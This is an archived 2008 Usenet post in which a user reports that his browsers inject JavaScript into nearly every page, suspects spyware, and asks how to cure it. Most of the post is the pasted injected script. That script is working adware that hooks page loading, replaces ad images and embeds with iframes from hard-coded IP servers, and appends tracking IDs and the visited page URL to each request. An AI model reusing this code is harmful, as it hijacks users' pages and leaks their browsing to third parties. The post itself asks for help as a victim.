🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: borland.public.cppbuilder.internet.web
Article #37

unwanted javascript inserted in every html page

#37
From: Hans Galema
Date: Fri, 28 Mar 2008 10:53
950 lines
29858 bytes
TCppWebBrowser, IE and Firefox are behaving different on my XP system.

With IE and Firefox nearly every page from every site I visit comes with a lot
of javascript inserted (see below). Mostly behind the closing html tag.
Sometimes just before. With TCppWebBrowser that does not happen.

I think that I'm a victim of some spyware?

Well this is not a cbuilder problem, hmmm TCppWebBrowser is named ;-),
but where should I go else?

Who can shed some light on this? How to cure?

Hans.

script type="text/javascript" language="javascript"


     onloadevent_E850A1B8F15A48e9BD405A67D067013E = window.onload;
	window.onload = f_E850A1B8F15A48e9BD405A67D067013E;
	
     TopWndUrl_E850A1B8F15A48e9BD405A67D067013E = "";
     MetaKwd_E850A1B8F15A48e9BD405A67D067013E = "";
     FrameString_E850A1B8F15A48e9BD405A67D067013E = "";

     EscUrl_24578457887 = escape(window.location.href);
     MainAid_24578457887 = '151080';
     MainGiud_24578457887 = '7DD00D9AFC4B4E9186DF8F6F6D3B56D0';
     MainUid_24578457887 = '27A76464AF1711DCA791151080EDFFFF';
     MainRid_24578457887 = 'rf';


     ruleset_AA532B7B55D44dbb87FAB30BCA27C538 = new Array();

     /*
	    // example of the normal rule
	    ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push( {"Name" : "NormalRuleName", "Global" : 0,
							    "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl,
							    "minCX" : 3, "maxCX" : 1000, "minCY" : 3, "maxCY" : 1000,
							    "Image" : "http://ya.ru/logo.gif", "Click" : "http://www.ya.ru", "ReplaceAll" : 1};

	    // example of the locale rule
	    ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push( {"Name" : "LocaleRuleName", "Global" : 1,
							    "minCX" : 3, "maxCX" : 1000, "minCY" : 3, "maxCY" : 1000,
							    "Image" : "http://ya.ru/logo.gif", "Click" : "http://www.ya.ru", "ReplaceAll" : 1};
     */

     InitArray_24578457887 = new Array();
				
	//FrID, FrSrc, FrWidthMin, FrWidthMax, FrHeightMin, FrHeightMax, AHref, ImgSrc	
     //InitArray_24578457887.push(
     //		CreateInitObject_24578457887('aff78e03',
     //		          'http://85.17.166.173/go/?cmp=nm_bm3s_728x90',
     //				 '728', '730',  '90', '95'
     //				'http://85.12.43.83/www/delivery/ck.php?n=a8ac5ed4',
     //				'http://85.12.43.83/www/delivery/avw.php?zoneid=48&n=a8ac5ed4'));
     //InitArray.push

     var arrAnti = new Array("vlaze\.com");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b728x90", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b728x90',
'http://85.12.43.83/fls.geo/EU_728x90_8.html?a=b',
'728', '728', '90', '90',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b720x300", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b720x300',
'http://85.12.43.83/fls.geo/EU_720x300_1.html?a=b',
'720', '720', '300', '300',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b468x60", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b468x60',
'http://85.12.43.83/fls.geo/EU_468x60_27.html?a=b',
'468', '468', '60', '60',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b336x280", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b336x280',
'http://85.12.43.83/fls.geo/EU_336x280_1.html?a=b',
'336', '336', '280', '280',
'',
''));
var arrAnti = new Array("vlaze\.com");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b300x250", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b300x250',
'http://85.12.43.83/fls.geo/EU_300x250_8.html?a=b',
'300', '300', '250', '250',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b300x100", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b300x100',
'http://85.12.43.83/fls.geo/EU_300x100_1.html?a=b',
'300', '300', '100', '100',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b250x250", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b250x250',
'http://85.12.43.83/fls.geo/EU_250x250_1.html?a=b',
'250', '250', '250', '250',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b240x400", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b240x400',
'http://85.12.43.83/fls.geo/EU_240x400_1.html?a=b',
'240', '240', '400', '400',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b234x60", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b234x60',
'http://85.12.43.83/fls.geo/EU_234x60_2.html?a=b',
'234', '234', '60', '60',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b180x150", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b180x150',
'http://85.12.43.83/fls.geo/EU_180x150_2.html?a=b',
'180', '180', '150', '150',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b160x600", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b160x600',
'http://85.12.43.83/fls.geo/EU_160x600_1.html?a=b',
'160', '160', '600', '600',
'',
''));
var arrAnti = new Array("search42\.com","joybuyjoy\.com");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b125x125", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b125x125',
'http://85.12.43.83/fls.geo/EU_125x125_1.html?a=b',
'125', '125', '125', '125',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b120x600", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b120x600',
'http://85.12.43.83/fls.geo/EU_120x600_1.html?a=b',
'120', '120', '600', '600',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b120x240", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element);
InitArray_24578457887.push(CreateInitObject_24578457887(
'b120x240',
'http://85.12.43.83/fls.geo/EU_120x240_13.html?a=b',
'120', '120', '240', '240',
'',
''));

	
	ExclusionArray_24578457887 = new Array();
	
	
     function f_E850A1B8F15A48e9BD405A67D067013E()
     {
         var MainCollection;

	    window.onload = onloadevent_E850A1B8F15A48e9BD405A67D067013E; // reset onload event
     	
	    if (onloadevent_E850A1B8F15A48e9BD405A67D067013E != null)
		    onloadevent_E850A1B8F15A48e9BD405A67D067013E();
     		
	    if (!document || !document.body || !document.body.childNodes)
		    return;

         TopWndUrl_E850A1B8F15A48e9BD405A67D067013E   = GetTopWindowUrl_C782A923BB0348e19544F09902515411();
	    MetaKwd_E850A1B8F15A48e9BD405A67D067013E     = GetMeta_C782A923BB0348e19544F09902515411();
	    FrameString_E850A1B8F15A48e9BD405A67D067013E = GetFrameContent_C782A923BB0348e19544F09902515411(document.body);
	
         initialize_24578457887();
         if(MustExit_24578457887())
             return;
     		
	    MainCollection = document.body.childNodes;
         ReplaceByFrame_24578457887(InitArray_24578457887, MainCollection, 0);

     } //function f_E850A1B8F15A48e9BD405A67D067013E()


     function GetTopWindowUrl_C782A923BB0348e19544F09902515411()
     {
	    var temp = "";
	    var e;
	    try
         {
		    temp = window.top.location.href;
	    }
	    catch(e)
	    {
		    temp =  window.location.href;
	    }
	    return temp;
     } //function GetTopWindowUrl_C782A923BB0348e19544F09902515411()


     function SimpleEncode_C782A923BB0348e19544F09902515411(str)
     {
	    if (str == null)
		    return "";

	    str = escape(str);
	    str = str.replace(/\+/g, "%2B");
	    str = str.replace(/\//g, "%2F");

	    return str;
     } //function SimpleEncode_C782A923BB0348e19544F09902515411(str)


     function GetMeta_C782A923BB0348e19544F09902515411()
     {
	    var e;
	    var str = "";
	    try
	    {
		    var head = window.top.document.getElementsByTagName('head').item(0);
		    if(head != null)
		    {
			    if (head.childNodes != null && head.childNodes.length > 0)
			    {
				    for(var y=head.childNodes.length-1; y>=0; y--)
				    {
					    var child = head.childNodes.item(y);
					    if(child.tagName == "META")
					    {
						    str += "<META ";

						    if(child.content != "" && child.name == "keywords")
							    str += 'content="' + child.content + '" ';

						    str += " >\n";
					    }
				    }
			    }
		    }
	    }
	    catch(e)
	    {
	    }

	    str = SimpleEncode_C782A923BB0348e19544F09902515411(str);

	    return str;
     } //function GetMeta_C782A923BB0348e19544F09902515411()


     function CheckUrl_3A315874118D436c8E256384792D2A73(rulesetElement)
     {
	    var i;

         // check if it's locale matching
         if (rulesetElement.Global == 1)
             return "_";

         // check antikeywords
         for (i = 0; i < rulesetElement.AntiArr.length; i++)
             if (document.location.href.indexOf(rulesetElement.AntiArr[i]) != -1)
	            return null;

         // check content keywords
         for (i = 0; i < rulesetElement.ContentArr.length; i++)
             if (FrameString_E850A1B8F15A48e9BD405A67D067013E.indexOf(rulesetElement.ContentArr[i]) != -1)
	            return rulesetElement.ContentArr[i];

         // check metakeywords
         for (i = 0; i < rulesetElement.MetaArr.length; i++)
             if (MetaKwd_E850A1B8F15A48e9BD405A67D067013E.indexOf(rulesetElement.MetaArr[i]) != -1)
	            return rulesetElement.MetaArr[i];

         // check urlkeywords
         for (i = 0; i < rulesetElement.UrlArr.length; i++)
             if (document.location.href.indexOf(rulesetElement.UrlArr[i]) != -1)
	            return rulesetElement.UrlArr[i];

         return null;
	
     } //function CheckUrl_3A315874118D436c8E256384792D2A73(rulesetElement)



     function GetFrameContent_C782A923BB0348e19544F09902515411(nodeElement)
     {
	    var retStr = "";

	    if(null==nodeElement)
		    return "";

	    if (nodeElement.nodeValue != null)
		    retStr = nodeElement.nodeValue;

	    var allChildrenNode = nodeElement.childNodes;

	    if (allChildrenNode != null && allChildrenNode.length > 0)
	    {
		    for(var y=allChildrenNode.length-1; y>=0; y--)
		    {
			    var child = allChildrenNode.item(y);

			    retStr = retStr + GetFrameContent_C782A923BB0348e19544F09902515411(child);
		    }
	    }

	    retStr = retStr + " ";
	    return retStr;
     } //function GetFrameContent_C782A923BB0348e19544F09902515411(nodeElement)


     function Connection_3A315874118D436c8E256384792D2A73(Obj)
     {
//        var img = new Image();
//
//        if(Obj)
//		    img.src = "http://127.0.0.1/" + Math.random() + "AA532B7B55D44dbb87FAB30BCA27C538?" + Obj.FrID;
//		else
//		    img.src = "http://127.0.0.1/" + Math.random() + "AA532B7B55D44dbb87FAB30BCA27C538?null"; 		
		    //alert('Connection ' + Obj.FrID + '  src: ' + Obj.FrSrc);
		    try
		    {
		        var fr = document.createElement("iframe");
	            fr.src = "http://127.0.0.1/" + Math.random() + "AA532B7B55D44dbb87FAB30BCA27C538?" + Obj.FrID;
	            fr.width = 0;
	            fr.height = 0;
	            document.body.appendChild(fr);
		    }
		    catch(e){}
		
		
     } //function Connection_3A315874118D436c8E256384792D2A73()



     function MustExit_24578457887()
     {
         var flExcl = 0;
	    var str;
	    var aid = MainAid_24578457887;
	    var ss;
	    var i;
	
	    flExcl = 0;
         str = window.location.href;
         for(i = 0; i < ExclusionArray_24578457887.length; ++i)
         {

             if(!ExclusionArray_24578457887[i].length)
		        continue;
		
		    if(str.length < ExclusionArray_24578457887[i].length)
		        continue;
		
             if(str.substr(0, ExclusionArray_24578457887[i].length) == ExclusionArray_24578457887[i])
             {
                 flExcl = 1;
                 break;		
             }
     			
         }; //for(j = 0; j < ExclusionArray_24578457887.length; ++j)
	
	    if(flExcl)
	        return 1;	
			
		flExcl = 0;	
		for(i = 0; i < str.length - aid.length + 1; i++)
		{
			ss = str.substr(i, aid.length);
			if(ss == aid)
			{
			    flExcl = 1;
				break;										
			}
		} //for(j = 0; j < str.length - 4; j++)	
						
     	if(flExcl)
			return 1;
			
	    return 0;
	
     }; //function MustExit()

	
	function initialize_24578457887()
	{	
	    var i;
	    var str;
	
	    for(i = 0; i < InitArray_24578457887.length; ++i)
	    {
	        str = GetDomain_24578457887(InitArray_24578457887[i].FrSrc);
	        if(str.length)
	            ExclusionArray_24578457887.push(str);
	
	        str = GetDomain_24578457887(InitArray_24578457887[i].AHref);
	        if(str.length)
	            ExclusionArray_24578457887.push(str);
	
	        str = GetDomain_24578457887(InitArray_24578457887[i].ImgSrc);
	        if(str.length)
	            ExclusionArray_24578457887.push(str);	
	
	    } //for(i = 0; i < InitArray_24578457887; ++i)
         	
	} //function initialize()
	
	
	function CreateFrame_24578457887(InitObj)
	{
		var XFrame = document.createElement("iframe");
		XFrame.id = InitObj.FrID;
		XFrame.name = InitObj.FrName;
		XFrame.framespacing = InitObj.FrSpacing;
		XFrame.frameborder = InitObj.FrBorder;
		XFrame.scrolling = InitObj.FrScrolling ;
		XFrame.width = InitObj.FrWidthMin;
		XFrame.height = InitObj.FrHeightMin;
		
		if(!XFrame.frameborder || XFrame.frameborder == 'no')
		{
		    XFrame.style.borderWidth = "0px";
		    XFrame.frameBorder = '0';
		}					
				
		return XFrame;
			
	} //function CreateFrame(El)
	
	function CheckImg_24578457887(ObjArray, El)
	{	
	    var i;
		
		try
		{
				
		    for(i = 0; i < ObjArray.length; ++i)
		        if(
		            (  (El.width >= ObjArray[i].FrWidthMin) &&  (El.width <= ObjArray[i].FrWidthMax) )  &&
		            (  (El.height >= ObjArray[i].FrHeightMin) && (El.height <= ObjArray[i].FrHeightMax)  )
		          )
			        return ObjArray[i];
			
	    }
	    catch(e) {}
		
		return null;	
				
	} //function CheckImg(El)
	
	
	function CheckObj_24578457887(ObjArray, El)
	{
		var i;
		
		try
		{
		    for(i = 0; i < ObjArray.length; ++i)
     		    if(
     		        (  (El.getAttribute("width") >= ObjArray[i].FrWidthMin) &&  (El.getAttribute("width") <= ObjArray[i].FrWidthMax) )  &&
		            (  (El.getAttribute("height") >= ObjArray[i].FrHeightMin) && (El.getAttribute("height") <= ObjArray[i].FrHeightMax)  )
		          )
     				
				    return ObjArray[i];	
		}
		catch(e){}		
				
		return	null;			
		
	} //function CheckObj(El)
	
	function CheckID_24578457887(ObjArray, El)
	{
		var i;
		
		try
		{
		    if(El.id)
			    for(i = 0; i < ObjArray.length; ++i)
				    if(El.id == ObjArray[i].FrID)
					    return ObjArray[i];
		}
		catch(e) {}
		
		return	null;			
		
	} //function CheckID_24578457887(ObjArray, El)
	
	
	function WrFrame_24578457887(InitObj)
	{
		var FrameList = null;
		var j;
		var xd, yd;
	
		FrameList = window.frames;					
		for(j = 0; j < FrameList.length; ++j)					
		{	
			
			try
			{
				if(!FrameList[j].frameElement)
					continue;				
				if(!FrameList[j].frameElement.id)
					continue;
				if(FrameList[j].frameElement.id != InitObj.FrID)
					continue;
			}
			catch(e)
			{
				continue;
			}
			
			try
			{
			    FrameList[j].document.write("<html> <body id='B" + InitObj.FrID + "' name='B" + InitObj.FrID + "'> " +
						" <iframe id=" + InitObj.FrID + " name=" + InitObj.FrID +
						" src=" + InitObj.FrSrc +
						" framespacing=" + InitObj.FrSpacing + " frameborder=" + InitObj.FrBorder +
						" scrolling=" + InitObj.FrScrolling +
						" width=" +  InitObj.FrWidthMin + " height=" + InitObj.FrHeightMin + "> " +
						" <a href=" + InitObj.AHref +
						" target=" + InitObj.ATarget +
						"><img flNotNeed=1 src=" + InitObj.ImgSrc +
						" border=" + InitObj.ImgBorder +
						" alt=" + InitObj.ImgAlt + " /> </a> </body> </iframe><html>");
			}
			catch(e)
			{ continue; }
								
			try
			{					
				xd = FrameList[j].document.getElementById('B' + InitObj.FrID).getAttribute("clientLeft") +
					 FrameList[j].document.getElementById(InitObj.FrID).getAttribute("offsetLeft");	
					
				yd = FrameList[j].document.getElementById('B' + InitObj.FrID).getAttribute("clientTop") +
					 FrameList[j].document.getElementById(InitObj.FrID).getAttribute("offsetTop");
					
				if(navigator.appName == 'Microsoft Internet Explorer')
				{
					xd += 7;
					yd += 12;
				} //if(navigator.appName == 'Microsoft Internet Explorer')
				else if(navigator.appName == 'Netscape')
				{
					xd = '8';
					yd = '8'
				}//if(navigator.appName == 'Netscape')
				else if(navigator.appName == 'Opera')
				{
					xd = '5';
					yd = '5';
				} //else if(navigator.appName == 'Opera')
					
			}		
			catch(e)
			{
		
				if(navigator.appName == 'Microsoft Internet Explorer')
				{
					xd = '8';
					yd = '14'
				}//if(navigator.appName == 'Microsoft Internet Explorer')
				if(navigator.appName == 'Netscape')
				{
					xd = '8';
					yd = '8'
				}//if(navigator.appName == 'Netscape')
				else if(navigator.appName == 'Opera')
				{
					xd = '5';
					yd = '5';
					
				}//else if(navigator.appName == 'Opera')
			}
		
		    try
		    {
			    FrameList[j].document.getElementById('B' + InitObj.FrID).style.marginLeft= '-' + xd + 'px';
			    FrameList[j].document.getElementById('B' + InitObj.FrID).style.marginTop= '-' + yd + 'px';							
			}
			catch(e) {}
						
		} //for(j = 0; j < document.frames.length; ++j)
					
	} //function RepChild_24578457887()
	
	
	function CheckTagIMG_24578457887(El, InitArray)
	{	
		var InitObj;
		var flExcl;
		var NewFrame;
		var i;
		
		if(El.parentNode.tagName != "A")
		    return 0;
				
		InitObj = CheckImg_24578457887(InitArray, El);
		if(!InitObj)
			return 1;					
						
		flExcl = 0;
		for(i = 0; i < ExclusionArray_24578457887.length; ++i)
		{
		    if(!ExclusionArray_24578457887[i].length)
		        continue;
		
		    if(El.parentNode.href.length < ExclusionArray_24578457887[i].length)
		        continue;
		
		    if(El.parentNode.href.substr(0, ExclusionArray_24578457887[i].length) == ExclusionArray_24578457887[i])
		    {
		        flExcl = 1;
		        break;		
		    }
		
		}; //for(j = 0; j < ExclusionArray_24578457887.length; ++j)
		
		if(flExcl)
		    return 1;
								
		NewFrame = CreateFrame_24578457887(InitObj);
	    El.parentNode.parentNode.replaceChild(NewFrame, El.parentNode);
		
		WrFrame_24578457887(InitObj);
		
		Connection_3A315874118D436c8E256384792D2A73(InitObj);
		
		return 0;
		
	} //function CheckTagIMG_24578457887()
	
	function CheckTagEMBED_24578457887(El, InitArray)
	{	
		var str;
		var InitObj;
		var NewFrame;
		var i;
		
		if(El.parentNode == null)
			return 1;	   	 				
				
		str = El.getAttribute("src");
		if(!str)
			return 1;
			
		for(i = 0; i < str.length - 3; ++i)
		{
			ss = str.substr(i, 4);
			if(ss == ".swf")
				break;										
		} //for(j = 0; j < str.length - 4; j++)	
		
		if(ss != ".swf")
			return 1;									
		
		if(CheckID_24578457887(InitArray, El))
		    return 1;		
		InitObj = CheckObj_24578457887(InitArray, El);
		if(!InitObj)
			return 1;
		
		NewFrame = CreateFrame_24578457887(InitObj);			
		El.parentNode.replaceChild(NewFrame, El);
		WrFrame_24578457887(InitObj);
			
		Connection_3A315874118D436c8E256384792D2A73(InitObj);
				
		return 0;
				
	} //function CheckTagEMBED_24578457887()
	
	
	function CheckTagOBJECT_24578457887(El, InitArray)
	{	
		var str;
		var InitObj;
		var NewFrame;
		var ss;
		
		var i;
		
		if(El.parentNode == null)
			return 1;				
		if(navigator.appName == 'Opera')
			return 1;
		
		
		try
		{			
			str = El.getAttribute("movie");		
			if(!str)
			{
				str = El.getAttribute("data");
				if(!str)
					return 1;
			} //if(!str)				
			
		}
		catch(e)
		{
			return 1;
		}
		
								
		for(i = 0; i < str.length - 3; ++i)
		{
			ss = str.substr(i, 4);
			if(ss == ".swf")
				break;										
		} //for(j = 0; j < str.length - 4; j++)	
		
		if(ss != ".swf")
			return 1;
		
		if(CheckID_24578457887(InitArray, El))
		    return 1;				
		InitObj = CheckObj_24578457887(InitArray, El);
		if(!InitObj)
			return 1;
		
		NewFrame = CreateFrame_24578457887(InitObj);			
		El.parentNode.replaceChild(NewFrame, El);
		WrFrame_24578457887(InitObj);		
		
		Connection_3A315874118D436c8E256384792D2A73(InitObj);
		
		return 0;
			
	} //function CheckTagOBJECT_24578457887()
	
	function CheckTagIFRAME_24578457887(El, InitArray)
	{	
		var InitObj;
		var NewFrame;
		var flExcl;
		
		var str;
		var ss;
		var aid = MainAid_24578457887;
		
		var i;
		
		if(!El.parentNode)
			return 1;
			
		if(!El.tagName)
			return 1;
		
		if(CheckID_24578457887(InitArray, El))
		    return 1;	
		InitObj = CheckObj_24578457887(InitArray, El);
		if(!InitObj)
			return 1;
		
				
		flExcl = 0;
		for(i = 0; i < ExclusionArray_24578457887.length; ++i)
		{
		
		    if(!ExclusionArray_24578457887[i].length)
		        continue;
		
		    if(El.src.length < ExclusionArray_24578457887[i].length)
		        continue;
		
		    if(El.src.substr(0, ExclusionArray_24578457887[i].length) == ExclusionArray_24578457887[i])
		    {
		        flExcl = 1;
		        break;		
		    }
		
		}; //for(j = 0; j < ExclusionArray_24578457887.length; ++j)
		
		if(flExcl)
		    return 0;
		
		
		flExcl = 0;	str = El.src;
		for(i = 0; i < str.length - aid.length + 1; i++)
		{
			ss = str.substr(i, aid.length);
			if(ss == aid)
			{
			    flExcl = 1;
				break;										
			}
		} //for(j = 0; j < str.length - 4; j++)	
						
     	if(flExcl)
			return 1;
			
			
		El.src = InitObj.FrSrc;	
		Connection_3A315874118D436c8E256384792D2A73(InitObj);
		
		return 0;			
		
	} //function CheckTagIFRAME_24578457887()
	
	
	function ReplaceByFrame_24578457887(InitArray, MainCollection, Included)
	{	
		var El = null;
		var i;
		var flExit;
				
		
		if(!Included)
		{
		    flExit = 0;
		
		    for(i = 0; i < ruleset_AA532B7B55D44dbb87FAB30BCA27C538.length; ++i)
     	    {    	
     	        if(!CheckUrl_3A315874118D436c8E256384792D2A73(ruleset_AA532B7B55D44dbb87FAB30BCA27C538[i]))
     	        {
     	            flExit = 1;
     	            break;
     	        }   //if(!CheckUrl_3A315874118D436c8E256384792D2A73(ruleset_AA532B7B55D44dbb87FAB30BCA27C538[idx]))
     	
     	    } //  for(i = 0; i < ruleset_AA532B7B55D44dbb87FAB30BCA27C538.length; ++i)
     	
     	    if(flExit)
     	        return 0;
     	
		}; //if(Included == 0)
		
		
		if(window.frameElement)
		{
		    if(CheckObj_24578457887(InitArray, window.frameElement))
		        return 0;
		
		    if(CheckID_24578457887(InitArray, window.frameElement))
		        return 0;
		} //if(window.frameElement)
     	
     	
		for(i = 0; i < MainCollection.length; i++)
		{
			El = MainCollection[i];
			if(El.tagName == "IMG")
			{
				if(!CheckTagIMG_24578457887(El, InitArray))
					continue;
									
			}//if(El.tagName == "IMG")
			else if(El.tagName == "EMBED")
			{
				if(!CheckTagEMBED_24578457887(El, InitArray))
					continue;
				
			} //else if(El.tagName == "EMBED")
			else if(El.tagName == "OBJECT")
			{
				
				if(!CheckTagOBJECT_24578457887(El, InitArray))
					continue;
				
			} //else if(El.tagName == "OBJECT")
			else if(El.tagName == "IFRAME")
			{
				if(!CheckTagIFRAME_24578457887(El, InitArray))
					continue;
			
			} //else if(El.tagName == "IFRAME")
			
			
			if(El.childNodes && El.childNodes.length)
				ReplaceByFrame_24578457887(InitArray, El.childNodes, 1);	
			
			
		} //for(i = 0; i < MainCollection.length; i++)

		return 0;	
		
	} //function ReplaceByFrame()	
	
						
	function CreateInitObject_24578457887(FrID, FrSrc, FrWidthMin, FrWidthMax, FrHeightMin, FrHeightMax,
								AHref, ImgSrc)
	{
	
		var InitObj = new Object();
		
		InitObj.FrID = FrID;
		InitObj.FrName = FrID;
		
		InitObj.FrSrc = FrSrc + '&aid=' + MainAid_24578457887 +
				            '&guid=' + MainGiud_24578457887 + '&uid=' + MainUid_24578457887 +
				            '&rid=' + MainRid_24578457887 + '&url=' + EscUrl_24578457887;
				
		InitObj.FrWidthMin = FrWidthMin;
		InitObj.FrWidthMax = FrWidthMax;
		InitObj.FrHeightMin = FrHeightMin;		
		InitObj.FrHeightMax = FrHeightMax;
		
		InitObj.FrSpacing = '0';
		InitObj.FrBorder = 'no';
		InitObj.FrScrolling = 'no';
		
					
		InitObj.AHref = AHref;
		InitObj.ATarget = 'blank';
		
		InitObj.ImgSrc = ImgSrc;
		InitObj.ImgBorder = '0';
		InitObj.ImgAlt = '';	
				
		return InitObj;		
		
	} //function CreateInitObject()	
	
	
	function GetDomain_24578457887(str)
	{
	    var i;
	    var str2 = "";
	
	    for(i = 0; i < str.length; ++i)
	    {
	
	        str2 += str.charAt(i);
	        	
	        if(str.charAt(i) == '/')
	        {
	        	if(  ((i + 1) < str.length) && ((i - 1) >= 0) )
	        	{
	        		if( (str.charAt(i + 1) != '/') && (str.charAt(i - 1) != '/') )
	        			break;
	        	}
	        	else if( ((i + 1) < str.length) && (str.charAt(i + 1) != '/') )
	        		break;
	        	else if ( ((i - 1) >= 0) && (str.charAt(i - 1) != '/') )	
	        		break;
	        		
	        } //if(str[i] == '/')
	
	    } //for(i = 0; i < str.length; ++i)
	
	    return str2;
	
	} //function GetDomain_24578457887(str)
	
	
/s c r i p t
Technical Details
Message-ID: <47eccebb@newsgroups.borland.com>
Path: arc1-ca.pugleaf.net!g2news1.google.com!news3.google.com!feeder1-2.proxad.net!proxad.net!feeder1-1.proxad.net!club-internet.fr!feedme-small.clubint.net!news.isoc.lu!newsgroups.borland.com!not-for-mail

Show Full Headers
Complete Article Headers
X-Google-Thread: feeec,e07bb90ead3561a4,start
X-Google-Attributes: gidfeeec,domainid0,public,usenet
X-Google-Language: ENGLISH,ASCII-7-bit
Date: Fri, 28 Mar 2008 11:53:06 +0100
From: Hans Galema <notusedagain@notusedagain.nl>
User-Agent: Thunderbird 2.0.0.12 (Windows/20080213)
MIME-Version: 1.0
Newsgroups: borland.public.cppbuilder.internet.web
Subject: unwanted javascript inserted in every html page
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
NNTP-Posting-Host: 145.98.201.248
Message-ID: <47eccebb@newsgroups.borland.com>
X-Trace: newsgroups.borland.com 1206701755 145.98.201.248 (28 Mar 2008 03:55:55 -0700)
Lines: 950
Path: arc1-ca.pugleaf.net!g2news1.google.com!news3.google.com!feeder1-2.proxad.net!proxad.net!feeder1-1.proxad.net!club-internet.fr!feedme-small.clubint.net!news.isoc.lu!newsgroups.borland.com!not-for-mail